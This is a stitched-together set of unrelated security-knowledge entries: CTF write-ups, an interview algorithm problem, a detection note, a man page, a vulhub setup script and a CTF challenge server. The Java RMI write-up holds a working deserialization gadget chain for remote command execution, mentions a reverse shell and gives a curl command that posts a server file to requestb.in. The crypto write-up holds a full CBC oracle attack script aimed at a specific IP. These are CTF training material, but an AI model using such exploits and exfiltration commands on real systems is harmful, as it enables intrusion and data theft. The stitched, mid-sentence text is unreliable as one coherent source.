błędy, ale również naprawiać pojedyncze bity błędów. Pomijając teorię stojącą za kodowaniem hamminga, w praktyce sprowadza się to do mnożenia przez odpowiednie macierze - generator matrix G, oraz parity check matrix H. Dla każdej odmiany kodów hamminga tablice wyglądają inaczej, więc musimy znaleźć/wygenerować odpowiednią tablicę dla naszych potrzeb. W przypadku kodowania hamminga(31, 26) wygląda ona tak: ```python mat_g = [ [1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0], [0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1], [0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1], [0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1], [0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1], ] mat_h = [ [1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0], [0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0], [1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0], [0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0], [0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1], ] ``` Potrzebujemy tez operacji działających na tych macierzach: ```python def mult(a, b): rows_a = len(a) cols_a = len(a[0]) rows_b = len(b) cols_b = len(b[0]) if cols_a != rows_b: print "cannot multiply the two matrices. Incorrect dimensions:", cols_a, rows_b return c = [[0 for row in range(cols_b)] for col in range(rows_a)] for i in range(rows_a): for j in range(cols_b): c[i][j] = sum(a[i][k] * b[k][j] for k in range(cols_a)) & 1 return c def transpose(mat): return [[mat[y][x] for y in range(len(mat))] for x in range(len(mat[0]))] assert transpose([[1, 2, 3], [4, 5, 6]]) == [[1, 4], [2, 5], [3, 6]] ``` Dekodowanie kodów jest bardzo proste - wystarczy ignorować dane sprawdzające (o ile nie wykazują one błędu, oczywiście). Druga część transmisji to helical scan interleaving. Polega to na tym, ze dane są zapisywane w macierzy, i czytane w zmienionej kolejności. Na przykładzie: 1 2 3 4 5 6 7 8 9 10 11 12 -> 1 6 11 16 5 10 15 4 9 14 3 8 13 2 7 12 13 14 15 16 (czytamy od pierwszego elementu pierwszego wiersza ukośnie na dół, później pierwszego elementu drugiego wiersza ukośnie na dół, etc) Przyda się tworzenie macierzy z ciągu danych (do kodowania/dekodowania musimy przedstawiac dane hako macierz: ```python def make_matrix(w, h, data): return [[data[i*w+j] for j in range(w)] for i in range(h)] assert make_matrix(2, 3, [1, 2, 3, 4, 5, 6]) == [[1, 2], [3, 4], [5, 6]] def unmake_matrix(w, h, data): return [data[i/w][i%w] for i in range(w*h)] assert unmake_matrix(2, 3, [[1, 2], [3, 4], [5, 6]]) == [1, 2, 3, 4, 5, 6] ``` I samo enkodowanie/dekodowanie: ```python def chunks(data, n, pad_obj=0): pad = list(data) + [pad_obj] * (n-1) return [pad[i*n:(i+1)*n] for i in range(len(pad)/n)] assert chunks([1, 2, 3, 4, 5], 3) == [[1, 2, 3], [4, 5, 0]] def helical_interleave_part(w, h, dat): mat = make_matrix(w, h, dat) conv = [[mat[(y+x) % h][x] for x in range(w)] for y in range(h)] return unmake_matrix(w, h, conv) assert helical_interleave_part(2, 3, [1, 2, 3, 4, 5, 6]) == [1, 4, 3, 6, 5, 2] def helical_interleave(w, h, dat): return sum((helical_interleave_part(w, h, part) for part in chunks(dat, w*h)), []) assert helical_interleave(2, 3, [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]) == [1, 4, 3, 6, 5, 2, 7, 10, 9, 12, 11, 8] def helical_deinterleave_part(w, h, dat): mat = make_matrix(w, h, dat) conv = [[mat[(y-x) % h][x] for x in range(w)] for y in range(h)] return unmake_matrix(w, h, conv) assert helical_deinterleave_part(2, 3, [1, 4, 3, 6, 5, 2]) == [1, 2, 3, 4, 5, 6] def helical_deinterleave(w, h, dat): return sum((helical_deinterleave_part(w, h, part) for part in chunks(dat, w*h)), []) ``` Mamy cały mechanizm gotowym teraz do rozwiazania zadania - mamy w sumie wszystkie dane, poza wielkością tablicy użytej do helical scanu. Na szczęście możliwości jest bardzo mało (tablica mniejsza niż 30x30), więc możemy to łatwo bruteforcować. Wybierzemy taką szerokośc i wysokość która da najmniej błędów kodów hamminga. Implementując ten pomysł: ```python data = open('data.txt').read().strip() data = [int(c) for c in data] result = [] for w in range(1, 30): print w, ':', for h in range(1, 30): print h, fail = 0 helix = helical_deinterleave(w, h, data) cs = chunks(helix, 31) for c in cs: hamming_check = mult(mat_h, transpose([c])) hamming_check = transpose(hamming_check) if not all(n == 0 for n in hamming_check[0]): fail += 1 result.append((fail, w, h)) print def safe(s): return ''.join(c if 32 <= ord(c) <= 127 else '.' for c in s) result = sorted(result) fail, w, h = result[0] print 'best result:', fail, w, h ``` Wyszło nam że macierz jest szeroka na 24 elementy i wysoka na 16. W tym momencie wystarczy zdekodować dane - prawda? ```python helix = helical_deinterleave(w, h, data) helix = decode_helix_brute(mat_g, mat_h, helix) dat = chunks(helix, 8) decr = [int(''.join(str(c) for c in chunk), 2) for chunk in dat] decr_hex = ''.join(chr(c) for c in decr).encode('hex') decr_bin = bin(int(decr_hex, 16))[2:] ``` Niestety, jest jeszcze jedna pułapka - nie wiemy od którego bitu powinniśmy zacząć dekodowanie dokładnie (transmisja nie jest wyrównana do bitu) Ale możemy to znowu bruteforcoawć, mamy tylko 8 możliwości w końcu: ```python for i in range(8): data = repr(''.join([chr(int(''.join(chunk), 2)) for chunk in chunks(decr_bin[i:], 8, '0')])) if 'SharifCTF' in data: print data ``` y weighs you down and torments you with regret. Drawing rooms, gossip, balls, SharifCTF{4412e6635c6eafaad08574d77ab4d301}, vanity, and triviality --- these are the enchanted circle I cannot escape from. I am now going to the war, the greatest war there ever was, and I know nothing and am fit for nothing. I am very al\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' Mamy nasze 300 punktów (+ 100 punktów bonus). Cały działający kod znajduje się w pliku hamming.py
sec-knowleage
# 35. 复杂链表的复制 [NowCoder](https://www.nowcoder.com/practice/f836b2c43afc4b35ad6adc41ec941dba?tpId=13&tqId=11178&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 输入一个复杂链表(每个节点中有节点值,以及两个指针,一个指向下一个节点,另一个特殊指针指向任意一个节点),返回结果为复制后复杂链表的 head。 ```java public class RandomListNode { int label; RandomListNode next = null; RandomListNode random = null; RandomListNode(int label) { this.label = label; } } ``` <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/66a01953-5303-43b1-8646-0c77b825e980.png" width="300"/> </div><br> ## 解题思路 第一步,在每个节点的后面插入复制的节点。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/dfd5d3f8-673c-486b-8ecf-d2082107b67b.png" width="600"/> </div><br> 第二步,对复制节点的 random 链接进行赋值。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/cafbfeb8-7dfe-4c0a-a3c9-750eeb824068.png" width="600"/> </div><br> 第三步,拆分。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/e151b5df-5390-4365-b66e-b130cd253c12.png" width="600"/> </div><br> ```java public RandomListNode Clone(RandomListNode pHead) { if (pHead == null) return null; // 插入新节点 RandomListNode cur = pHead; while (cur != null) { RandomListNode clone = new RandomListNode(cur.label); clone.next = cur.next; cur.next = clone; cur = clone.next; } // 建立 random 链接 cur = pHead; while (cur != null) { RandomListNode clone = cur.next; if (cur.random != null) clone.random = cur.random.next; cur = clone.next; } // 拆分 cur = pHead; RandomListNode pCloneHead = pHead.next; while (cur.next != null) { RandomListNode next = cur.next; cur.next = next.next; cur = next; } return pCloneHead; } ```
sec-knowleage
# T1059-windows-进程生成CMD ## 来自ATT&CK的描述 命令行界面提供了一种与计算机系统交互的方式,并且是许多类型的操作系统平台的常见功能。windows系统上的一个示例命令行界面是[cmd](https://attack.mitre.org/software/S0106),它可用于执行许多任务,包括执行其他软件。可以通过远程桌面应用程序本地或远程交互,反向shell会话等方式运行命令行界面。执行的命令以命令行界面进程的当前权限级别运行,除非该命令包含更改权限上下文的进程调用执行(例如[计划任务](https://attack.mitre.org/techniques/T1053))。 攻击者可以使用命令行界面与系统交互并在操作过程中执行其他软件。 ## 测试案例 Windows [命令提示符](https://en.wikipedia.org/wiki/cmd.exe)(`cmd.exe`)是一个为Windows操作系统提供命令行界面的实用程序。它提供了运行其他程序的能力,也有几个内置命令,例如`dir`,`copy`,`mkdir`,和`type`,以及批处理脚本(`.bat`)。通常,当用户运行命令提示符时,父进程`explorer.exe`或该提示的另一个实例。可能存在自动程序,登录脚本或管理工具,用于启动命令提示符的实例以运行脚本或其他内置命令。产生这个过程`cmd.exe`来自某些父母可能更能说明恶意。例如,如果Adobe Reader或Outlook启动命令shell,则可能表示已加载恶意文档并应进行调查。因此,通过寻找异常的父进程`cmd.exe`,可以检测攻击者。 ## 检测日志 windows 安全日志 ## 测试复现 Windows 7 在命令提示符或powershell中,运行cmd.exe ## 测试留痕 如果你熟悉windows事件ID或者经常留意你的windows日志的话,你可以很清晰的看到,每个一个进程的创建,系统都会进行记录产生一个事件。比如windows的进程创建事件ID为4688,进程关闭事件ID为4689.当然在win7中,你还可以看到详细的进程路径,但是,你没有办法看到父进程是什么?所以你可能需要sysmon。在最新版本的windows操作系统中(win10)事件ID4688是记录了父进程与子进程的,这有助于更好的进行威胁狩猎。 ## 检测规则/思路 ### elk规则 ```elk process = search Process:Create cmd = filter process where (exe == "cmd.exe") output cmd ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1059 <https://attack.mitre.org/techniques/T1059/> windows重点监控事件ID表 <https://www.96007.club/2019/08/21/21/>
sec-knowleage
# MagicHat (Pwn, 321p, 9 solved) [PL](#pl-version) In the task we get a [client](magic_hat_client.jar) for Java RMI application. We can add this jar as a library in IntelliJ IDEA project, and it will decompile the code for us. The code is rather simple, we establish a connection via RMI with the server and then we can place some objects inside Hat object, and send it to the server. Server takes those objects and does some operations on them. ```java Properties props = System.getProperties(); props.setProperty("javax.net.ssl.trustStore", "magic_hat_truststore"); props.setProperty("javax.net.ssl.trustStorePassword", "magic_hat"); Registry registry = LocateRegistry.getRegistry(InetAddress.getByName("magichat.teaser.insomnihack.ch").getHostName(), 51966, new SslRMIClientSocketFactory()); WizardAPI wizardAPI = (WizardAPI)registry.lookup("Wizard"); // Hat magicHat = wizardAPI.getMagicHat(); // magicHat.add(new Wand()); // Pair<String, Hat> answer = wizardAPI.castASpell(magicHat); magicHat = (Hat)answer.getRight(); System.out.println((String)answer.getLeft()); ``` RMI has 2 types of objects which can be passed between remote endpoints - Remote objects (passed as proxies), and Serializable objects, passed in serialized form. In our case every artifact we can place in the Hat is Serializable. The Hat itself is simply: ```java public class Hat extends Artifact { private Bag content = new HashBag(); public void add(Artifact a) { this.content.add(a); } public String toString() { String str = super.toString(); if (!this.content.isEmpty()) { str = str + " that contains: \n" + this.content.toString().replace(":", "x ").replace(',', '\n'); } return str; } } ``` The vulnerability here is that server endpoint deserializes objects we send. It might later crash with `ClassCastException` if the objects were not of the expected type, but they will be deserialized before that happens. It's also worth understanding that Java doesn't have notion of generic types at runtime. Pretty much any collection type can store any objects, also of totally unrelated types. It means we can store anything in the `HashBag` in `Hat` class. We used slightly modified payload from [ysoserial](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections6.java). We use the same approach, but instead of `HashSet` we create `HashBag`, we also used `Whitebox` to skip all the reflection madness: ```java private static Hat preparePayload(String command) { // like in CommonsCollections6 String[] execArgs = new String[]{command}; Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)}; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); HashBag bagWithExploit = new HashBag(); bagWithExploit.add(new Object()); Map internalMap = Whitebox.getInternalState(bagWithExploit, "map"); Object[] nodesArray = Whitebox.getInternalState(internalMap, "table"); Object node = Arrays.stream(nodesArray) .filter(Objects::nonNull) .findFirst() .orElseThrow(() -> new RuntimeException("this can't happen")); Whitebox.setInternalState(node, "key", entry); Hat hat = new Hat(); Whitebox.setInternalState(hat, "content", bagWithExploit); return hat; } ``` Now we can simply send this `hat` to the server to invoke `command`. We run the exploit with: ```java public static void main(final String[] args) throws Exception { Properties props = System.getProperties(); props.setProperty("javax.net.ssl.trustStore", "magic_hat_truststore"); props.setProperty("javax.net.ssl.trustStorePassword", "magic_hat"); Registry registry = LocateRegistry.getRegistry(InetAddress.getByName("magichat.teaser.insomnihack.ch").getHostName(), 51966, new SslRMIClientSocketFactory()); WizardAPI wizard = (WizardAPI) registry.lookup("Wizard"); Scanner sc = new Scanner(System.in); while (true) { System.out.print("> "); execCommand(wizard, sc.nextLine()); } } private static void execCommand(WizardAPI wizard, String command) { try { wizard.castASpell(preparePayload(command)); } catch (Exception e) { } } ``` And we basically have RCE on the server, although without immediate echo, but we can always drop a reverse-shell. After some poking around we find the `flag.txt` file in `/home/magic-hat` so we can grab it with: `curl -d @/home/magic-hat/flag.txt -X POST https://requestb.in/blablabla` And we get: `INS{lol_ur_a_lizard_Gary!}` ### PL version W zadaniu dostajemy [klienta](magic_hat_client.jar) dla aplikacji Java RMI. Możemy dodać ten jar jako bibliotekę w IntelliJ IDEA żeby automatycznie zobaczyć zdekompilowany kod. Kod jest dość prosty, łączymy się z serwerem za pomocą RMI, następnie możemy dodać pewne obiekty do obiektu Hat a potem wysłać je do serwera. Serwer bierze te obiekty i wykonuje na nich pewne operacje. ```java Properties props = System.getProperties(); props.setProperty("javax.net.ssl.trustStore", "magic_hat_truststore"); props.setProperty("javax.net.ssl.trustStorePassword", "magic_hat"); Registry registry = LocateRegistry.getRegistry(InetAddress.getByName("magichat.teaser.insomnihack.ch").getHostName(), 51966, new SslRMIClientSocketFactory()); WizardAPI wizardAPI = (WizardAPI)registry.lookup("Wizard"); // Hat magicHat = wizardAPI.getMagicHat(); // magicHat.add(new Wand()); // Pair<String, Hat> answer = wizardAPI.castASpell(magicHat); magicHat = (Hat)answer.getRight(); System.out.println((String)answer.getLeft()); ``` RMI pozwala na przekazywanie pomiędzy zdalnymi klientami 2 typów obiektów - obiekty Remote (przesyłane jako proxy) oraz obiekty Serializable, w formie zserializowanej. W naszym przypadku wszystkie artefakty które możemy umieścić w Hat są Serializable. Klasa Hat to po prostu: ```java public class Hat extends Artifact { private Bag content = new HashBag(); public void add(Artifact a) { this.content.add(a); } public String toString() { String str = super.toString(); if (!this.content.isEmpty()) { str = str + " that contains: \n" + this.content.toString().replace(":", "x ").replace(',', '\n'); } return str; } } ``` Podatność w tym zadaniu polega na tym, że serwer musi zdeserializować obiekty które mu przesyłamy. Później może to wysypać program z `ClassCastException` jeśli wyślemy obiekty nieoczekiwanego typu, ale mimo wszystko muszą zostać zdeserializowane. Warto pamiętać też że Java nie ma na poziomie wykonania czegoś takiego jak typy generyczne. Każda kolekcja obiektów może przechowywać obiekty dowolnych, niezwiązanych ze sobą, typów. To oznacza że w obiekcie `HashBag` w klasie `Hat` możemy przechowywać cokolwiek. Użyliśmy lekko zmodyfikowanego payloadu z [ysoserial](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections6.java). Używamy tego samego podejścia ale zamiast `HashSet` tworzmy `HashBag`. Używamy też `Whitebox` żeby pozbyć się całego szaleństwa związanego z refleksją. ```java private static Hat preparePayload(String command) { // like in CommonsCollections6 String[] execArgs = new String[]{command}; Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)}; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); HashBag bagWithExploit = new HashBag(); bagWithExploit.add(new Object()); Map internalMap = Whitebox.getInternalState(bagWithExploit, "map"); Object[] nodesArray = Whitebox.getInternalState(internalMap, "table"); Object node = Arrays.stream(nodesArray) .filter(Objects::nonNull) .findFirst() .orElseThrow(() -> new RuntimeException("this can't happen")); Whitebox.setInternalState(node, "key", entry); Hat hat = new Hat(); Whitebox.setInternalState(hat, "content", bagWithExploit); return hat; } ``` Tak przygotowany `hat` możemy teraz wysłać do serwera, co spowoduje wykonanie `command`. Uruchamiamy ten exploit przez: ```java public static void main(final String[] args) throws Exception { Properties props = System.getProperties(); props.setProperty("javax.net.ssl.trustStore", "magic_hat_truststore"); props.setProperty("javax.net.ssl.trustStorePassword", "magic_hat"); Registry registry = LocateRegistry.getRegistry(InetAddress.getByName("magichat.teaser.insomnihack.ch").getHostName(), 51966, new SslRMIClientSocketFactory()); WizardAPI wizard = (WizardAPI) registry.lookup("Wizard"); Scanner sc = new Scanner(System.in); while (true) { System.out.print("> "); execCommand(wizard, sc.nextLine()); } } private static void execCommand(WizardAPI wizard, String command) { try { wizard.castASpell(preparePayload(command)); } catch (Exception e) { } } ``` W ten sposób mamy generalnie RCE na serwerze, chociaż bez echa, ale możemy zawsze uruchomić sobie reverse-shell. Po chwili rozglądania się po serwerze znajdujemy plik `flag.txt` w `/home/magic-hat` i możemy pobrać go przez: `curl -d @/home/magic-hat/flag.txt -X POST https://requestb.in/blablabla` Dostajemy: `INS{lol_ur_a_lizard_Gary!}`
sec-knowleage
# Decrypt message (Crypto, 700p) In the task we get access to a webpage where we can put username and it stores some encrypted string in our cookie. The value from cookie must store our username since it's later displayed on the webpage. We start off by trying to play around with the encryption oracle and with the ciphertext we have. We can notice quickly that: - It's a 16 byte block crypto - we can see alignment by 16 bytes - It is using some block chaining method, because many blocks of identical input are encrypted differently Fortunately errors are printed to the screen so we can get some information about the code running there by changing the ciphertext we have. - It's actually AES CBC with random IV stored as first block of the ciphertext - Data are stored as JSON and there is some more data behind our input - Data are being decoded into ascii before printing out on the screen, so if the data decrypt into some non-ascii values then we get encoding error First we recover the whole data, using the encoding error messages. We can change k-th byte of the IV until the decryption fails with encoding error and it will tell us how the k-th data byte in first block was finally decrypted. Since we know how we changed the IV we can recover the initial plaintext value on the server. This was we know that the plaitext is `{"name": "our_input","show_flag": false}`. It's clear now that we need to set the parameter `show_flag` to `true` to get the flag. It's AES CBC so we can easily influence decryption of a single block by changing the IV, but here we need to work with 2 blocks, because the code checks for `name` parameter before it checks the `show_flag` parameter. So we need to have both and this means 2 blocks. This is tricky, because to force decryption of second block we need to change the first block, and this will make this first block to decrypt into some garbage values. However, we can use the IV to "fix" the first block decryption afterwards. We can again use the fact that server tells us when it can't decode a certain value, so we know how certain byte was decrypted on the server, and we can change the IV byte accordingly. Since we know exactly the plaintext and ciphertext, and we know what plaintext we want to get, we can right away use xor to get the first block ciphertext we need. Rest is just using the IV to force this first block to decrypt to expected value. ```python import base64 import requests from crypto_commons.generic import xor_string def get_ciphertext(plaintext): url = "http://95.85.51.183/?name=" + plaintext result = requests.get(url) return result.cookies['user_info'].decode("base64").encode("hex") def get_plaintext(ciphertext): url = "http://95.85.51.183/" payload = base64.b64encode(ciphertext.decode("hex")) result = requests.get(url, cookies={'user_info': payload}) return result.content def main(): forged_ct = get_ciphertext("a" * 22).decode("hex") ct_block_1 = forged_ct[16:32] ct_block_2 = forged_ct[32:48] orig = """{"name": "aaaaaaaaaaaaaaaaaaaaaa""" want = """{"name": "aaaaa","show_flag":1}\1""" pt_block_2 = orig[16:32] expected_pt_block_1 = want[:16] expected_pt_block_2 = want[16:32] c1 = xor_string(xor_string(pt_block_2, expected_pt_block_2), ct_block_1) new_iv = "" for index in range(16): for i in range(256): print('testing value %d at index %d' % (i, index)) forged_ct = new_iv + chr(i) forged_ct += (16 - len(forged_ct)) * "a" forged_ct += c1 + ct_block_2 pt = get_plaintext(forged_ct.encode("hex")) if "t decode byte" in pt: decrypted_byte = pt.split("t decode byte")[1].split()[0].strip() position = pt.split("position")[1].split(":")[0] if int(position.strip()) != index: continue print index, new_iv.encode("hex"), pt decrypted_byte = int(decrypted_byte, 16) real = decrypted_byte ^ ord(expected_pt_block_1[index]) ^ i new_iv += chr(real) break print get_plaintext((new_iv + c1 + ct_block_2).encode("hex")) main() ``` And we get: `Flag: KLCTFFDA616A6DAF4E63A9F7B55B43124E548`
sec-knowleage
lpadmin === 配置CUPS套件中的打印机和类 ## 补充说明 **lpadmin命令** 用于配置CUPS套件中的打印机和类,也被用来设置打印服务器默认打印机。 ### 语法 ```shell lpadmin(选项)(参数) ``` ### 选项 ```shell -c:将打印机加入类; -i:为打印机设置“system V”风格的接口脚本; -m:从mode目录设置一个标准的“system V”接口脚本或“PPD”文件; -o:为“PPD”或服务器设置选项; -r:从类中删除打印机; -u:设置打印机用户级的访问控制; -D:为打印机提供一个文字描述; -E:允许打印机接受打印任务; -L:为打印机位置提供一个文字描述; -P:为打印机指定一个ppd描述文件; -p:指定要配置的打印机名称; -d:设置默认打印机。 ``` ### 参数 打印机:指定要配置的打印机的名称。
sec-knowleage
#!/usr/bin/env python import os from airflow import models, settings from airflow.contrib.auth.backends.password_auth import PasswordUser os.system('/entrypoint initdb') user = PasswordUser(models.User()) user.username = 'vulhub' user.email = 'vulhub@example.com' user.password = 'vulhub' user.superuser = True session = settings.Session() session.add(user) session.commit() session.close() print('initial user finished')
sec-knowleage
from Crypto.PublicKey import RSA from Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes import random import signal import os import sys sys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 0) privkey = RSA.generate(1024) pubkey = privkey.publickey() flag = open('./flag').read().strip() aeskey = os.urandom(16) BLOCK_SIZE = 16 def pad(s): n = 16 - len(s)%16 return s + chr(n)*n def unpad(s): n = ord(s[-1]) return s[:-n] def aes_encrypt(s): iv = long_to_bytes(random.getrandbits(BLOCK_SIZE*8), 16) aes = AES.new(aeskey, AES.MODE_CBC, iv) return iv + aes.encrypt(pad(s)) def aes_decrypt(s): iv = s[:BLOCK_SIZE] aes = AES.new(aeskey, AES.MODE_CBC, iv) return unpad(aes.decrypt(s[BLOCK_SIZE:])) def bulldozer(s): s = bytearray(s) print('Bulldozer is coming!') for idx in range(len(s) - 1): s[idx] = '#' return str(s) def encrypt(): p = raw_input('input plain text: ').strip() print('RSA: {}'.format(pubkey.encrypt(p, 0)[0].encode('hex'))) print('AES: {}'.format(aes_encrypt(p).encode('hex'))) def decrypt(): c = raw_input('input hexencoded cipher text: ').strip().decode('hex') print('RSA: {}'.format(bulldozer(privkey.decrypt(c)).encode('hex'))) def print_flag(): print('here is encrypted flag :)') p = flag print('another bulldozer is coming!') print(('#'*BLOCK_SIZE+aes_encrypt(p)[BLOCK_SIZE:]).encode('hex')) def print_key(): print('here is encrypted key :)') p = aeskey c = pubkey.encrypt(p, 0)[0] print(c.encode('hex')) signal.alarm(300) while True: print("""Welcome to mixed cipher :) I heard bulldozer is on this channel, be careful! 1: encrypt 2: decrypt 3: get encrypted flag 4: get encrypted key""") n = int(raw_input()) menu = { 1: encrypt, 2: decrypt, 3: print_flag, 4: print_key, } if n not in menu: print('bye :)') exit() menu[n]()
sec-knowleage
